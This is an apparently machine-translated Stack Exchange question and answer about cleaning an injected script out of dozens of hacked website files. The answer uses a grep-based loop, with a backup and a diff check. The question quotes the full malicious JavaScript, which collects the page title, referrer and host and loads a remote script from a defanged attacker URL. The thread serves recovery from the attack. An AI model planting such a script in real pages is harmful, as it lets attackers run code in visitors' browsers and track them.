заменить длинную текстовую строку (скрипт со МНОГИМИ специальными символами). sed, awk, grep

заменить длинную текстовую строку (скрипт со МНОГИМИ специальными символами). sed, awk, grep

Мой сайт был взломан / заражен. Я заменил URL вредоносной ссылки, но другие элементы вредоносного скрипта по-прежнему блокируют мой сайт. Как мне удалить следующий скрипт из 3 десятков файлов на моем сайте, не вставляя около сотни "экранирований"?

< script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "hxxp://xxxxx_hack_was_here_z_s_e_r_f_._c_o_m/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('< script type="text/javascript" src="' + f_url + '">' + '<' + '/ script>');} < /script>

Другие страницы на stack-exchange не дают ответа на этот вопрос.

Чтобы заменить вредоносный URL-адрес на xxxx_hack_was_here и т. д., я использовал: find . -type f -name "*.php" -exec sed -i 's/zserf.com/xxxxx_hack_was here_z_serf/g' {} +

решение1

Во-первых, я согласен с комментариями выше:Не используйте sedдля восстановления после взлома. Вы всегда будете думать, что вы что-то упустили. Восстановите из резервной копии, и точка.

Однако буквальный вопрос, который вы задали, а именно, как удалить длинную строку везде, где она встречается, не экранируя каждый специальный символ, решить несколько проще.

Я делаю некоторые выводы/предположения из вашего вопроса, которые вы на самом деле не высказали напрямую:

  1. Удаляемая строка представляет собой одну строку.
  2. Каждый раз это происходит одинаково.
  3. Это необходимоудаленный, а не заменено чем-то другим.

Если приведенные выше предположения верны, выполните следующие действия:

  1. Поместите строку, которую нужно удалить (включая все конечные пробелы), в отдельный файл, назвав его eg hackline.txt. Поместите этот уровеньвышекаталог, с которым вы собираетесь работать.
  2. Скопируйте весь каталог на случай ошибок.

    cp -a mydir mydircopy
    
  3. Запустите следующий цикл в своем каталоге (или его копии), чтобы удалить все экземпляры hackline:

    cd mydir
    for f in *; do
      [ -f "$f" ] && [ -r "$f" ] || continue
      grep -vxFf ../hackline.txt "$f" > "$f.fixed" &&
        mv -- "$f.fixed" "$f"
    done
    

Идея здесь заключается в том, что вы используете hackline.txtсписок фиксированных строк, которые должны соответствовать всей строке, затем вы используетеgrep чтобы получить только те строки, которыенесопоставьте этот список строк.

-xозначает «вся строка»; -Fозначает «фиксированная строка, а не регулярное выражение»; -vинвертирует поиск; -fпринимает список шаблонов в файле.

Если каталог вашего веб-сайта является иерархическим, а не плоским (что на самом деле довольно вероятно), вы можете использовать findвместо цикла for:

find mydir -type f ! -name \*.fixed -exec sh -c 'grep -vxFf ../hackline.txt "$1" > "$1.fixed"' sh {} \;
find mydir -type f -name \*.fixed -exec sh -c 'mv -- "$1" "${1%.fixed}"' sh {} \;

Затем используйте рекурсию diff, чтобы проверить, что все так, как должно быть:

diff -r mydircopy mydir

Связанный контент